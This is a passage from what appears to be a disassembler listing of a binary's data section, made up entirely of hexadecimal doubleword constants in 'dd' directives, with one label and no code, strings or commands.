4CFB07BDh, 0C3C0BAF1h, 90A001F5h dd 20B7E012h, 43622C38h, 4017B5BAh, 0B8FCA11h, 6DC9D8A0h dd 333A509Ch, 1ADE977Bh, 7EB8BC45h, 49D30F0h, 54829A16h dd 0E2E881CCh, 0D13A01F5h, 4E4E88E0h, 78F6CBh, 0D48ACDC8h dd 2A95E87h, 4D01E5EBh, 9677459Dh, 59493FC0h, 22AC1FACh dd 0FC800140h, 24FD4BE4h dd 0D3F6FC33h, 9118979Fh, 5BB380C3h, 0E78368DEh, 23F08C3Ah dd 7C0BE500h, 0A8093DBEh, 0F4C700AEh, 64376EADh, 87122085h dd 0E8B26151h, 0DC7A8E7h, 0A3859437h, 21098A8h, 90CC05FFh dd 0A047F70Ah, 268264D3h, 0C71301F2h, 0B01C28CFh, 7E4B1C8Eh dd 82C20919h, 0ACF02D16h, 88C46D02h, 0F0658026h, 0D6F494A8h dd 0C8AAEF01h, 81D68299h, 23902F3Eh, 3250000Dh, 6FE7BAD2h dd 901C90B7h, 0E3480704h, 50E8C7EFh, 95597E7Bh, 889E9C04h dd 44EEE5EEh, 47FD31C4h, 6C3417F9h, 0BD102CD3h, 1F6A004h dd 82FC2B07h, 0C4D67A75h, 72B1C200h, 6FAD5Bh, 8CB95A54h dd 99A287E9h, 36455700h, 0B7DA77A3h, 0C91B4E05h, 2D0CF100h dd 0B22C5390h, 0B64230CCh, 1C68E2Eh, 39E44700h, 0B46CC80h dd 0FA2B3084h, 0FFF1843Bh, 0C7B207F8h, 2DF87234h, 60692305h dd 587D40h, 0E72FBA1Eh, 5C942B7Dh, 5502AFBFh, 8807CA19h dd 0CE44DC67h, 64E44060h, 457AC804h, 0B48A28C2h, 0C0081A07h dd 0DE6AF7CBh, 0C01A208Bh, 0D6C438C0h, 1C05B213h, 82FC5031h dd 99365BDCh, 0CA8405F0h, 1000A8D6h, 0B9095A11h, 0A43764B2h dd 352C3300h, 8BCC827h, 0FD5A4D1Ah, 0AA4E2900h, 9B2E35Fh dd 72A4E09Eh, 0A30018D0h, 0F00EB046h, 5CE35D1Eh, 0CA04C02Fh dd 0EAF12EB8h, 7AB98440h, 946371EFh, 40DB44BCh, 7476B54h dd 1CF5058Dh, 0C10EDD7Bh, 0C9EE90h, 4D36C6A3h, 642460A9h dd 1502DC98h, 6A34FEB4h, 1A90E4B0h, 0B1FD451Fh, 4DCC056h dd 23117E9h, 0BC4082BEh, 80804C7Ch, 1AAC1316h, 244704FDh dd 0C651BD02h, 544668E0h, 0B1E15313h, 0C0F87284h, 75E14B71h dd 171A1D70h, 1880EF69h, 0B11E8482h, 60F848F3h, 0CA9BE913h dd 0F45D580Eh, 1D05120Ch, 0A95AC423h, 0D2109224h, 970CA929h dd 38BB844Dh, 515A4465h, 0B130F6F4h, 24C01159h, 547D3027h dd 9B8CC681h, 196048C2h, 45DCDE0Eh, 0ACF8A964h, 6D961D32h dd 0EC57802Fh, 81AE037Fh, 1492894Ah, 7B02207Eh, 0E496F7DEh dd 645F9508h, 0E4CB5779h, 42C089C8h, 0B9D0D2Ch, 3568A8Fh dd 6CDDDC82h, 82205907h, 0B94FB926h, 248B90C0h, 0FB004CC0h dd 0A09DFD1h, 5B44F053h, 0B950C02Ah, 6CF9205Dh, 8C5DBCE4h dd 5873DC00h, 91D96484h, 0A78F1C14h, 35C685BCh, 9DFCAC4Ch dd 4B3058EDh, 3138D040h, 5B4ED0E6h, 2F2AA889h, 0F1123ACh dd 3500478Ah, 5E729A2Dh, 60CA3101h, 937BF751h, 0B4D94041h dd 0C0641E02h, 0F835F4F9h, 4E2BF202h, 0F850E659h, 0EC90B584h dd 32005241h, 53FD49EDh, 9A8B03h, 0CCE246AFh, 52B01E72h dd 0AC7A050Ah, 0CA08F0D8h, 457309DAh, 0E49F785Ah, 0B51700B8h dd 270AF970h, 0F32634BEh, 4A111CA2h, 8CC8DE2Fh, 11F4B698h dd 0E3E9E21Fh, 0A0974082h, 0A51B40C0h, 30BA1755h, 2710B21Ch dd 24DABBh, 6D792AC7h, 84EFA67Ch, 1662E904h, 54882D53h dd 98CC88F7h, 0C8E87A2Dh, 82097288h, 0BD354C03h, 0A49B614Ah dd 4F91A082h, 0B5DC10D5h, 0CB8B06Bh, 5947BE88h, 0A502459Ch dd 4A1C2F73h, 0D3A484E0h, 0D9D87506h, 0FCC444h, 895C0C29h dd 0CE032DADh, 0CFEE0200h, 5CDC796h, 0BDE20D48h, 7C316FA6h dd 9E978B0h, 0CEC8A0EEh, 0A937B8h, 0D7B7FB1Ch, 57EA5D98h dd 5CA2564Ah, 0B25B9D0Ch, 4CB8A649h, 52783AEAh, 0B9DF6A05h dd 8083AC6Bh, 614025D8h, 463D6097h, 0E9211C00h, 1F6F330Ch dd 61DB153Eh, 0C68FB4A0h, 25BB2C64h, 0FC20B337h, 361FF8FDh dd 25AC6459h, 0DD0C11FFh, 30406910h, 0F9EF261Ch, 27221028h dd 94A7FED8h, 18C52728h, 996245E4h, 20A11041h, 8388E05Ch dd 9C6559EEh, 41841868h, 3368CE76h, 0AC0279BCh, 99414313h dd 29F48517h, 97F8E0F8h, 31A5038Ch, 9DFCB953h, 0FC9030A2h dd 18C8D0B6h, 484211FAh, 8C5BE870h, 4048AF6h, 41CA6530h dd 84D69483h, 0C7C63105h, 0D17C3471h, 6AE42160h, 0FE4504D0h dd 8B2B006Fh, 169D49B1h, 0AD015299h, 0B27C173Fh, 2C204B85h dd 9C745142h, 0CABC547Ch, 0FE86008Ch, 0E6AEA931h, 44004D74h dd 0E4D0CB70h, 548550C6h, 135598A1h, 0C22128Ah, 40706F41h dd 7807E35Eh, 0E5D49054h, 4830C8F0h, 9A2218B4h, 0E932BD04h dd 9C814D11h, 28939485h, 8480F99Dh, 0BB02D80Eh, 80FEB25Fh dd 80842CF4h, 1E501E5h, 7C0E90CCh, 0C1A1424h, 0DD177E9Ch dd 0D0F47A81h, 91209174h, 0F4B58007h, 0B1A41B55h, 8E66C0A8h dd 0BA784CF4h, 0DA848B00h, 14AD0BBEh, 0FE173039h, 0DC6E90D9h dd 0B7408CA4h, 493F8856h, 67041492h, 4E701245h, 6A9D37C0h dd 0D0923298h, 4404A38h, 0DF5A6515h, 2C004DBh, 9B39B74Bh dd 467CD4BCh, 4060F5Dh, 0C72000F3h, 303688E3h, 1E6901AAh dd 0CC3AD4CEh, 0E68C8F0Ah, 0C0A8F637h, 1FF61210h, 25921519h dd 0C0401CACh, 80D982DFh, 293A4504h, 0FE101414h, 0DBBB15F3h dd 8AFF1F98h, 5DB3D340h, 540ADCBh, 0C7BA8D9Ch, 58FCC8B2h dd 32798A40h, 4460DAACh, 9591F09Fh, 61C05C87h, 321B063Ch dd 616A0290h, 0DDA72805h, 4D1B0898h, 60256628h, 0BA09520h dd 12465C9Bh, 4914E424h, 9418E8DEh, 956E073Ch, 60FD0DCBh dd 0DE3096E5h, 68F2A300h, 885B45B3h, 30555C52h, 0E08EE01Bh dd 37016EE0h, 608C355Ah, 8365E34h, 50985FE8h, 80225620h dd 9D4E2B1Bh, 8A01E86Eh, 93CD4970h, 14D06A40h, 0C7A751h dd 6F863AC6h, 0AD4FB5C8h, 800E8700h, 0BE036CB4h, 8A0105EAh dd 0CC9F24AAh, 7D03B064h, 7CC4B69Eh, 596FB97h, 0E82C018h dd 60F4D121h, 34F6C2FEh, 10A85512h, 8C8CBCh, 375D3160h dd 43151B04h, 74D0425Fh, 30CE45D2h, 8460982Ch, 0E609D7A9h dd 0DBDF80D8h, 0D8CC78FCh, 3327635Ch, 0B78119F9h, 1ED1008Eh dd 1396E95Dh, 401DD9Ah, 1023BDCh, 3F3ECE5Ch, 0EFAE7880h dd 794F34CAh, 0FE610700h, 447820D4h, 0CE300437h, 0B5BCDFB0h dd 8F68F5ECh, 41C66CD0h, 0EBC46474h, 0DA04D462h, 0B8666FF1h dd 0AE8E2FA0h, 90C08130h, 0CC24FAA6h, 968CA46Dh, 0B07712DCh dd 10C4088Ch, 70E4917Dh, 4FBBF0F8h, 19248CC8h, 807E7D27h dd 0E2B0CC9Ch, 6559C2DEh, 64002476h, 94DCE1BBh, 0C33D16A4h dd 0CC80C690h, 0E62F1528h, 0F1E01119h, 30905711h, 524A4DA9h dd 0DE11DCC2h, 0FF0240A0h, 0E802BD78h, 2C3DACB7h, 2698E0DEh dd 0EE096DDh, 135E34B8h, 84B8FCDAh, 2101A2C7h, 3A6B390Fh dd 0A1581844h, 105E7909h, 1FD1F1E2h, 0A20FC63Dh, 66402C18h dd 222F0535h, 0C65BDC0Bh, 71F80C94h, 0D419951Dh, 1471AC29h dd 59216E09h, 0CA9B1008h, 8185C063h, 0C891ED0Eh, 54C2DE60h dd 80268434h, 504004E0h, 9DF2D890h, 9CB2004Ah, 62A22EDBh dd 0CBF47DBEh, 5BC5BB02h, 475909E6h, 600EC480h, 9C532h dd 0ED5BFD3Dh, 70B9776Ah, 0C30CF0C9h, 0D721E7A4h, 304A6181h dd 3007A3DEh, 0CEA29779h, 1E90822Fh, 84F704FDh, 200FCDBh dd 9CC6D358h, 3FBCF3A8h, 0F161Dh, 0D1CB8253h, 5017E894h dd 7033A27Ch, 0E054FA1Bh, 0BCAA9EC0h, 0D16180C0h, 9F5AA382h dd 8185F09Ch, 708190D8h, 0AA05D46Ah, 98CC9030h, 1FDF40E2h dd 34145D1Fh, 11C09D27h, 0BBB18046h, 37195Dh, 1694CBC0h dd 3CEB284h, 8C9A9F7Bh, 9AEA5D07h, 0D7855143h, 0A5BA74C0h dd 0D3F6262Ch, 5F011148h, 5CB564C8h, 8102108Dh, 8B08E6D6h dd 4676707Eh, 6E5130Ah, 0ABC3C0C9h, 2951091Ch, 0E470E90Fh dd 0B0C6D626h, 4084B040h dd 0A384A8B6h, 419B0FC0h, 0C2248293h, 0D068880Ch, 0B448A067h dd 6F451D10h, 0CE5912E1h, 5698B0CCh, 4A6CA31Fh, 106B0A8h dd 1290CBADh, 94649C48h, 0EE38C8B7h, 0DB0B4340h, 0D22806A7h dd 0CFC62570h, 0A5C030A2h, 36206C70h, 0C4695C3h, 59D19CB1h dd 0BFA07E18h, 341262B0h, 0E004A3F3h, 411CA1DEh, 680E5FAEh dd 25DC32ECh, 58607BB9h, 0BD05F348h, 0B7191682h, 0B952B803h dd 0E153F9FBh, 0B6509187h, 0F98F8FC9h, 190C5486h, 0EB8E4B5h dd 665142Ch, 0A8CE6144h, 6DA110C8h, 90365C05h, 2BE00262h dd 0A068590Fh, 44F6AFCh, 0C190085Dh, 3C10542Fh, 0AD00F0BFh dd 213544EBh, 731E7316h, 99BFE05h, 5265F2CDh, 0B100E45Ch dd 68BC2AA0h, 58C2BDE1h, 5CD93459h, 68008418h, 0EDDC462Ah dd 0B588042Bh, 0E47B2010h, 0A665AF00h, 0D2A74816h, 5D391350h dd 846C9EF9h, 0EDF9CCh, 0EAEE831Ch, 0FE5C15C4h, 107C9C91h dd 144DF11Eh, 8BCCEB40h, 439CD680h, 7BCAAE6Ah, 5918125Fh dd 602D1498h, 31C8F941h, 0FE450C53h, 76606889h, 0E5F6AFF8h dd 3B396F13h, 4B5CCA7h, 0E4EADD45h, 64635484h, 5AA21h dd 834B6389h, 4E6CBC0Eh, 0F95AAE07h, 5F961395h, 671D2098h dd 9196005h, 90212CAAh, 2024910Eh, 0F3CE5BC6h, 0B21D1270h dd 780C6027h, 0B1178847h, 0AA5B1805h, 0F0B9A3B0h, 0D8350571h dd 0EAE6F952h, 55546440h, 94B4A05Bh, 8445A794h, 886096E4h dd 0AC949125h, 0B6567444h, 0D87FE060h, 31360B56h, 400B16D9h dd 117934D9h, 2E3EBF18h, 24EBA7Fh, 90CA2332h, 0D3E8E876h dd 7E502719h, 6E9DDC20h, 64B73EA0h, 8D4207FCh, 0E9334997h dd 0EFCAC700h, 5813960Ch, 0CC0893B3h, 88BABE35h, 6024C7A7h dd 805908B6h, 49F4CB8Eh, 0D42FCDBEh, 11481739h, 8BF98797h dd 507C3602h, 0C1F05F50h, 2C5C80CCh, 8C8AF8DCh, 65C79C00h dd 0AC461AD2h, 6E90256Ah, 0B4468862h, 2C4E4024h, 0F87D3787h dd 49920540h, 5D5239E0h, 0E47CA904h, 90CC8C91h, 5F19283Fh dd 0DBC01090h, 0D275177Ah, 0CED42106h, 2F3608FBh, 18BDA36Ah dd 14BD0C07h, 1FE56740h, 61FB029Eh, 4B557A68h, 125BEC61h dd 40405C11h, 19771D2Ch, 754D3903h, 0ED9C4CAh, 0C5675E26h dd 0F4814AC7h, 0ACB8D55Ch, 8C10BC2Ch, 975E8209h, 0AC04C83Fh dd 0FC50000Eh, 33BC4DC2h, 7A00B9EBh, 0F0745E84h, 0B2A19DDh dd 0A4C6D893h, 5112ACDCh, 0F780F8ADh, 0C97B873Bh, 0FBBECF1Fh dd 65589F00h, 2482861Fh, 74E049D1h, 8B179846h, 62CC30A4h dd 0F2400AB0h, 4E4D167Bh, 0D168F906h, 27D4AC34h, 0A44508A4h dd 14605BE4h, 0BEF260A1h, 554EEB01h, 8244FE59h, 9E4CC82Eh dd 58CE224Eh, 0A6C059C8h, 48EA560Dh, 0BA3FE867h, 97B54C40h dd 80CA91E0h, 40116CEDh, 0D84601E0h, 2A4CA88Bh, 10802216h dd 35849B3Ah, 0DE98CF5Ch, 25B700A3h, 90531846h, 144EE4A0h dd 47C1780h, 0F6F032C2h, 7C4AAA16h, 0D468B9h, 1B4557E0h dd 0D4C82FE2h, 0A05B942Dh, 0F806A4Ch, 906CB6D3h, 21122B1h dd 0EF7A875Ah, 0E05944C9h, 13D82208h, 0E0D0A4BBh, 92C31100h dd 0C4816BFFh, 2C6A4CFEh, 0CF9C1C0h, 0AA0066D5h, 0C01D6017h dd 78EEF14h, 67589A10h, 8AB091BFh, 87EA00C2h, 77E727CCh dd 0D32578D1h, 0D8DF7160h, 230BDE7Bh, 0EFA2C0AAh, 929942D4h dd 943681E0h, 0CF07448h, 0B809ED05h, 1BD0409Eh, 0E2E27527h dd 0AE0C3028h, 0CE2284FCh, 0CA1513FBh, 0C4D8D00Ah, 0B0BA2339h dd 0B3810405h, 9CF2208Ah, 64300FF2h, 0ECEC58DBh, 0DD22B809h dd 0DBDD899h, 14882C0Ah, 0E9EBC0CEh, 0B5796AAh, 0E8C6DB4Ah dd 810994D8h, 76492916h, 6074529Ch, 0BE984A61h, 3CE4003Ah dd 0BA3414E3h, 0C84497h, 0D601FA39h, 6E053F9Ah, 78808A00h dd 45911DFDh, 2254176Bh, 9ACF04Ah, 0DA4DCD3Dh, 95239C2Fh dd 0EFAF000h, 4B1684F8h, 0D6A401D5h, 8B9480E6h, 0D622B0B8h dd 0EA606074h, 899DFD82h, 5C4876A8h, 2C17C346h, 0A7040859h dd 39EE8301h, 352AFE6Ah, 0C1FC00C8h, 0EE849F2Fh, 3F94149Ch dd 43738090h, 0EEF3FAD4h, 0B9D00046h, 569CEFC1h, 442F9B1Fh dd 2C04822h, 35C712E4h, 0CAA8930Ch, 82C3E190h, 517F4030h dd 4E52B06Ah, 9EF044E5h, 98640122h, 3D09C47Eh, 90CC09ECh dd 546C27FEh, 62B517F0h, 3BC5F8E2h, 1A8A5942h, 1858579Dh dd 44E1C811h, 44616081h, 54C0D12Eh, 0C0B8E08Eh, 6698169h dd 4806E53h, 5288B7F9h, 0E85F8025h, 0DB01C6B8h, 0AC700A9Fh dd 4C3719B6h, 8BFD251Eh, 34F80245h, 65014B4h, 11496528h dd 0CA18B652h, 70451CECh, 112DC0BCh, 38FB1C02h, 89088CD6h dd 0A4A2049Ah, 2ECE34Fh, 4A3365Ch, 289476D9h, 63262024h dd 88A110D6h, 0FC01903Ch, 0A0CCE737h, 58C8386Eh, 98F54EC0h dd 1EE4027Fh, 878E436h, 8186E496h, 1771CEF6h, 0ED40EE5Ah dd 0DCE2C75Ch, 96A3E142h, 95061120h, 0BCE60944h, 24E42FA5h dd 0E2006A9Dh, 0D79FB9F1h, 0F2F6F0C4h, 50A3A402h, 60E8C08Fh dd 1564466Bh, 9091B0CCh, 3079E125h, 4718CF79h, 2EB7343Ah dd 0CE0098E7h, 0C96C2DAAh, 3E4D2A1Ah, 82060090h, 490881BFh dd 3F85B56h, 0AC187100h, 319F64F9h, 18A47136h, 21DB2ABAh dd 0C9FCF3B9h, 31CF1907h, 0A1C173E1h, 0E9D35445h, 6C62E94Ah dd 0EDB43A00h, 0F53486C8h, 0B9AEA300h, 191FA152h, 0DB5C243Eh dd 5BCB0010h, 0B74A55F2h, 0E1C41A0Bh, 0CD04C0D4h, 0E8449F46h dd 465E2094h, 8F710090h, 47313C86h, 6977DBBh, 0C06AA5F0h dd 0E4177877h, 0C4E9D1FEh, 2E84A84Ah, 7C00085Ah, 1A7BE32Ch dd 837705DEh, 0E5FC9E9Ch, 0C7D2D4DCh, 11C03670h, 439D9584h dd 529413C9h, 0B3484793h, 0A45485CCh, 0D01CB64h, 683C266h dd 9455BA21h, 28F9140Ah, 8FFC6BD0h, 0D2E40A86h, 0DD272258h dd 3D475900h, 0BB440192h, 0B040BFA1h, 0B140D7A7h, 9770ACEh dd 0D140C3D2h, 0A40C2E98h, 75539A6h, 9C81B9FBh, 65FEF0B6h dd 91CEB36Bh, 50ACD3AAh, 31A26E79h, 94AC3C95h, 599F5130h dd 0AAF0BA6Ch, 2FC469D4h, 593431A1h, 7C00B8Ah, 0A6FBAC82h dd 0B618EA76h, 43D103AAh, 493803E3h, 0CC9DA581h, 488EEABAh dd 0C4B2BC95h, 33C71836h, 38C078D5h, 20C4ACE8h, 4EBB529Dh dd 39987E58h, 25B52205h, 54089870h, 4FAF44A1h, 0C657897Ah dd 11211EF0h, 2F1940B3h, 74B8EB6Ch, 10E41F03h, 0E4F6C0D6h dd 0F0047085h, 74BCA918h, 34814830h, 5A7CA1CCh, 29204D53h dd 0BB06BCB2h, 4998BFAEh, 0A85C9CFBh, 0F3B89007h, 0B469C503h dd 916AA00h, 0C8B8D189h, 733B81AEh, 0EF21B7E0h, 627A0030h dd 26BB0819h, 2AC1102h, 8021AA1h, 79E10316h, 77183818h dd 0C4C94A08h, 1F722618h, 0F110FA58h, 129A8074h, 41C7F681h dd 888B508h, 220811CFh, 1BC708D5h, 8AD2F08h, 24080A12h dd 0C49808B6h, 0CFE2108h, 16606C55h, 40932440h, 954038D8h dd 171840FEh, 7AA1B064h, 6BD8904h, 2008A38Bh, 96200F28h dd 0B86520DAh, 32A1A720h, 2061141Eh, 2D72A02h, 7002CAA3h dd 0CA4039Dh, 0D4860819h, 0A202AB29h, 680A4A2h, 3E5F402h dd 920E3FDh, 0F8432201h, 10D703FFh, 108FB4F9h, 8E15CD0Bh dd 0AC448894h, 0B10D665Ah, 0EC8831F0h, 4280BF2Dh, 0E27C802Eh dd 80E16380h, 1881233Fh, 9127E988h, 20B9203Fh, 6C20E96Ah dd 0C7712084h, 63FB6820h, 6A833144h, 8557010h, 51EA2C1Ah dd 0E668E42Eh, 8FD9508h dword_4E3354 dd 0B00898E8h, 74500897h, 0E9C9AD19h, 918B04FAh, 1D38518h dd 0D00115AEh, 0A25E02A7h, 209DCA4h, 0A6029E1Dh, 0EFA02B2h dd 65692D06h, 4C9BC11Dh, 0FDA1F1A0h, 409ABA40h, 39C40703h dd 3E04EEDCh, 0C4D01C21h, 10993B10h, 0FC1024A0h, 21B931EBh dd 6A019BA1h, 7E6D01A9h, 0DDFAE088h, 0D9A51B0Ch, 0CFA9801Ch dd 0D853C181h, 6DE910BBh, 0FC8910EFh, 10B18110h, 4D188A5Bh dd 1EC65869h, 0C988C081h, 44080A7Dh, 7CF40C82h, 0DE406F28h dd 9F1A40B4h, 0C20A092h, 932020B5h, 54A15920h, 41DDC499h dd 905B61E1h, 0B610C2E1h, 0F7B31904h, 0FB01C0B1h, 0A32A02CDh dd 10801BF4h, 109CD968h, 511085C7h, 0B0152AC6h, 0F821FC65h dd 0A72D8449h, 1218D030h, 9304446Eh, 0A1750CF3h, 0B6F1CA96h dd 7F288B0h, 0B429BC18h, 0F19580FBh, 80C88780h, 6880D490h dd 712480F9h, 0AE2970C4h, 41FEB04h, 0C00AF520h, 105682A0h dd 8852A92Ch, 27235504h, 60A078CDh, 1F220CBEh, 7C1071D5h dd 0AD803E00h, 6098E1B3h, 0EB271278h, 0B614907Fh, 470168FBh dd 20994471h, 0E8CFEE26h, 16191F55h, 35E6B436h, 0EB9880B8h dd 10036894h, 0ED2F372Bh, 3190D04Ah, 391508EAh, 30B3DC9h dd 815460F6h, 1D47B097h, 6751C184h, 0CCE36CE8h, 1C1B6B40h dd 434F55FCh, 9A92FB82h, 0F1E44AF9h, 3C21009Bh, 9F830FB5h dd 0CABD17F3h, 807327h, 0F61F4560h, 0BD0ABF23h, 0C3309BAh dd 0E3825380h, 1C6F5897h, 37FABB4h, 7E57E4BAh, 39545806h dd 900BADh, 3F1BCFC9h, 8F882FC0h, 2CE40726h, 55CCA131h dd 0A0F477D0h, 63B6AA10h, 575EC881h, 55E440CCh, 1FAE41B5h dd 16661D6Bh, 0C07841F9h, 0FB39E624h, 4EFE10E6h, 0BE3270C5h dd 31BB50C8h, 5EC04B5Bh, 0F4C0425Dh, 0F3A8EF80h, 4437E4DDh dd 3A91288Fh, 0F4C008B0h, 75E90632h, 183507E0h, 90740500h dd 0A5D9F2ECh, 0B1F30158h, 0FC098A76h, 63AAD0D4h, 0A5D8163Dh dd 0F6F8057Bh, 70043832h, 7F937C0h, 0A621E328h, 0D476A110h dd 422ABF00h, 0BC19A5C1h, 903D3F8h, 0F3B76808h, 1434C1F9h dd 9A2E2880h, 0EE4DB37Ch, 51AE491Ch, 553F09BDh, 0A2B8F74h dd 821408F6h, 84040FF0h, 28F489C8h, 0E4785414h, 18956067h dd 42AAB746h, 83B06464h, 0E4053880h, 0CC6C54A7h, 0EFAA1931h dd 24F5200Ch, 1D0B514Ch, 0C05755D4h, 60A9E4B8h, 2A833075h dd 880437CCh, 0A6DBCA87h, 185200E4h, 3125FFF1h, 2380D136h dd 763C0226h, 0B8AA3442h, 0F54878F8h, 63190418h, 108CCE6Ch dd 0C8BB144Fh, 0E20F90E0h, 97061AB5h, 8E701022h, 64881E02h dd 60AC2472h, 1849EB3Bh, 79527145h, 0F30C8782h, 0F1758A29h dd 31AAF08Fh, 8510FD81h, 687E01A7h, 33E35300h, 0BB41B806h dd 68406Eh, 8817A8BDh, 0AE12AA4Bh, 0CA15090h, 845450EAh dd 0F75251C5h, 0EC4600C4h, 0A0797261h, 7066059Fh, 44C2A2h dd 5704A8EEh, 0BD0240A1h, 6D7A392h, 0F06C44B8h, 0FF5501BBh dd 0F5AA894Fh, 6098806Fh, 23CB6854h, 0FD392FE1h, 0F03210E0h dd 534F9600h, 1E3FA29Bh, 0D4E4007Ah, 8B88FF38h, 0A1B8B204h dd 5745C900h, 69467BC0h, 27CC00E9h, 0FFF55288h, 0DF3F2D23h dd 0AAAF0645h, 28712B39h, 20DCDC19h, 0F51C79CFh, 50C769B9h dd 7B80E883h, 6841AAD6h, 4E603055h, 62BB1230h, 314010C0h dd 807BDF8h, 1863C34Bh, 96001873h, 621D23FEh, 0E81CD2EFh dd 0A847F9E6h, 0D54EB722h, 4A9770A0h, 5A12D2E9h, 780071A3h dd 8E8FC5F9h, 0DCDF20E4h, 0F7C0500Ch, 98CA6832h, 9E401B3Ch dd 0BDD8106Fh, 0FA063B2Bh, 0CC22A292h, 0AD520220h, 55C41BFFh dd 7B09B865h, 45A419E2h, 0E15F7C08h, 0A1403CD1h, 643AC86Ch dd 35A8816h, 123FBB04h, 4A8BE000h, 0FF5494D2h, 128C308h dd 590582E4h, 2EC21557h, 0E400F084h, 3391E959h, 0C34B4BBBh dd 1FA05A38h, 0B5781421h, 0B2E260E5h, 7B00B4A4h, 707E1C37h dd 98841DF4h, 60AA1408h, 0B300C857h, 6BCD8CA5h, 0C6642EBBh dd 0E3205D51h, 0C892A041h, 0C8B4114Bh, 30E75032h, 9900901Bh dd 0BB53024Ch, 0B8662818h, 0A0AA507Ah, 6F63F840h, 0B60FE1Eh dd 0E65AE0AAh, 5A5100B0h, 0B2C0916Ah, 32E420F4h, 96CC0A0h dd 20B296FEh, 2BAC2E20h, 86305F4Ch, 209F78E4h, 26EC7148h dd 640AF42Ch, 0D245BCFFh, 0BA97D001h, 8101BD99h, 6053E8C9h dd 0C5838D02h, 60821A90h, 0A0BF3200h, 502F1C74h, 4858E0CCh dd 7E8300F5h, 880C5B6Ah, 0C00B69BBh, 2668B28Fh, 84C0789h dd 580A6332h, 0BC261CADh, 7BCAE680h, 59EDAA3Bh, 0B20020F9h dd 2E657DA6h, 0FC989311h, 18D95720h, 404F8CBFh, 3060DAAAh dd 5BAC2B30h, 231F147Dh, 0BAC1D014h, 209ACF66h, 19C065A4h dd 0EF1F6D60h, 129BEA41h, 0E03A3979h, 0EC98F1F0h, 53A25716h dd 1EBBE004h, 0BAD1A800h, 0C1C408CCh, 4D44F9F8h, 7548B8ADh dd 54B8474Ch, 6F74CA7Ch, 9520ACB0h, 107B0172h, 44BB4A06h dd 0AE499E25h, 6D713245h, 34BBB42Ch, 81280330h, 0BC9EA86Ch dd 0DDAC0118h, 0E32E63FFh, 0A04017F0h, 12807D80h, 71FCCF4h dd 18A3D6E4h, 23002822h, 0EC0BD333h, 0B0DAF2B5h, 1FA439E0h dd 0E49717Bh, 0CBCA0A1Bh, 95AA8BC1h, 0B658806Ah, 0E831DDBEh dd 0ACDF139Dh, 7C744F5Dh, 5EEC3132h, 0D8C9007Dh, 0D391B58h dd 0C580102Ah, 6E155F56h, 2D0AA04h, 7C965957h, 731864E7h dd 0B07CB052h, 3470FFD4h, 0BC3900A8h, 79B932A2h, 4C09A4D3h dd 273C22BBh, 2D68DE00h, 0AA8D0480h, 449A936Fh, 814AB23Bh dd 8260A878h, 2B21BB51h, 1F833882h, 3C80E67Ch, 7DDEFE84h dd 715E3Eh, 0F40B80DFh, 17A65898h, 0BD73DE8h, 50A0E057h dd 7C0B0AB5h, 7A92B200h, 6F409F21h, 1788C568h, 298C8082h dd 83812FECh, 0F5BD9464h, 0B662B500h, 7B28B801h, 9782202Bh dd 9E1A3084h, 745B32D7h, 0B199270h, 30AF4CDCh, 790F02C8h dd 892983E5h, 34695078h, 50839DC0h, 482E8620h, 2DB31Dh dd 8D8EE44h, 517122h, 0F36D3797h, 5BBE7C16h, 68E56303h dd 90DD329Eh, 31844E2h, 6A722E23h, 0E5E0B3D7h, 7A3D6BC3h dd 1F017DBFh, 0AACC4D04h, 808150E4h, 4F39D9FBh, 0CC2875h dd 0DAD36463h, 2114A70h, 3962F9ABh, 0D0054782h, 4BAAB490h dd 0B740C01Ah, 6DB5814Ah, 0AE015F0Fh, 0A766207Ch, 0CD1DC40h dd 0E83BE4ABh, 39124FC8h, 0EC4046FBh, 579DD3DAh, 51610024h dd 86418B94h, 2371427Bh, 9B1B0301h, 6799AABAh, 58466882h dd 0EC54B690h, 0FC037996h, 0F6A5AAh, 0AD695E20h, 88BB616Fh dd 0CAA0165Ch, 2A13C473h, 4B1DA000h, 17B467ECh, 0ED60BCh dd 0F2E377CCh, 2E00A8DBh, 8B53B99h, 0A8637CAAh, 751CE90h dd 263052AFh, 0A0BB417Fh, 8D609DCAh, 0F807DD13h, 0C4103DD4h dd 589D932h, 0E3628B99h, 0E73C813Ah, 516500C0h, 90178A8h dd 0AF2CCD31h, 0B2287896h, 324DFBDEh, 5FA80030h, 1C200C3Bh dd 0F2B750A9h, 5217072Eh, 0B0351ADFh, 1E252340h, 0CDAC4600h dd 0DD4EE36Ah, 516C1605h, 37340EABh, 3E1B1790h, 28320C12h dd 383C8226h, 0D9ECA22Fh, 0C3830110h, 341040DDh, 4894A7BBh dd 1A195688h, 0B064105Ah, 9E67A20h, 17CC36A3h, 31636483h dd 1E6D4006h, 0B0396CBBh, 0F455508Eh, 243B12ECh, 75080192h dd 0F0212FB7h, 497FEB13h, 0EA00E87Ch, 1CB6A876h, 0DFC4E0BBh dd 56BF0940h, 0A19D7400h, 321D044Ch, 0B0C751BEh, 0ACFA333h dd 4E0408E6h, 0A8D70B39h dd 0C0C087B5h, 98BECB37h, 246300E0h, 0D6ED8C05h, 6749FD39h dd 80EA3B50h, 231D6CF0h, 1CC733Bh, 0D5B29A13h, 80E2C7BAh dd 3CFA8888h, 401038Dh, 7239D484h, 3128C9FFh, 0C3189D08h dd 69B0AA84h, 0F7BC2893h, 0A465F930h, 1B9EE15h, 0E27C73D3h dd 0D85C5AA5h, 0E415832Fh, 21D44753h, 0ACCA143Ch, 7BFC6200h dd 0AF01D1E1h, 0A5586400h, 1932A435h, 0C0475EE4h, 0A0594654h dd 0D51B5D04h, 80A437CCh, 433130BBh, 7C9860C0h, 9EA8C04Ch dd 0EB14C02Eh, 90D80708h, 0B5A52154h, 5001948Bh, 99E461D7h dd 567C702Fh, 2CF33910h, 88021D27h, 3CA2FFCCh, 8A00E8C1h dd 0E051E231h, 82C8C994h, 7861C092h, 885110A1h, 0BA9512E5h dd 0EF88C73Eh, 60846B6Ah, 6577B36Ah, 7BAAB412h, 0B076CCF0h dd 0BF311CBCh, 5D8D00F1h, 23E36E52h, 0FC39B80Ch, 76FF406Ch dd 751C0FA0h, 4A84B42Ch, 621080AAh, 66072ECh, 0A2E16508h dd 39DE0C2Ch, 52381657h, 8BBACD12h, 77BD34E0h, 6111F062h dd 82B610DDh, 6AA2E4DBh, 0E41A21C7h, 2DD0E1C6h, 460D757h dd 0A4E90740h, 0C4C86850h, 8827CA03h, 430BA06Ch, 0B20400A0h dd 18FFF7D8h, 6B59D6BBh, 7AAA3984h, 4C042890h, 48BE3953h dd 48AC5C95h, 0E911A80Eh, 7C536A6Bh, 1F0C0C20h, 98AAB8E4h dd 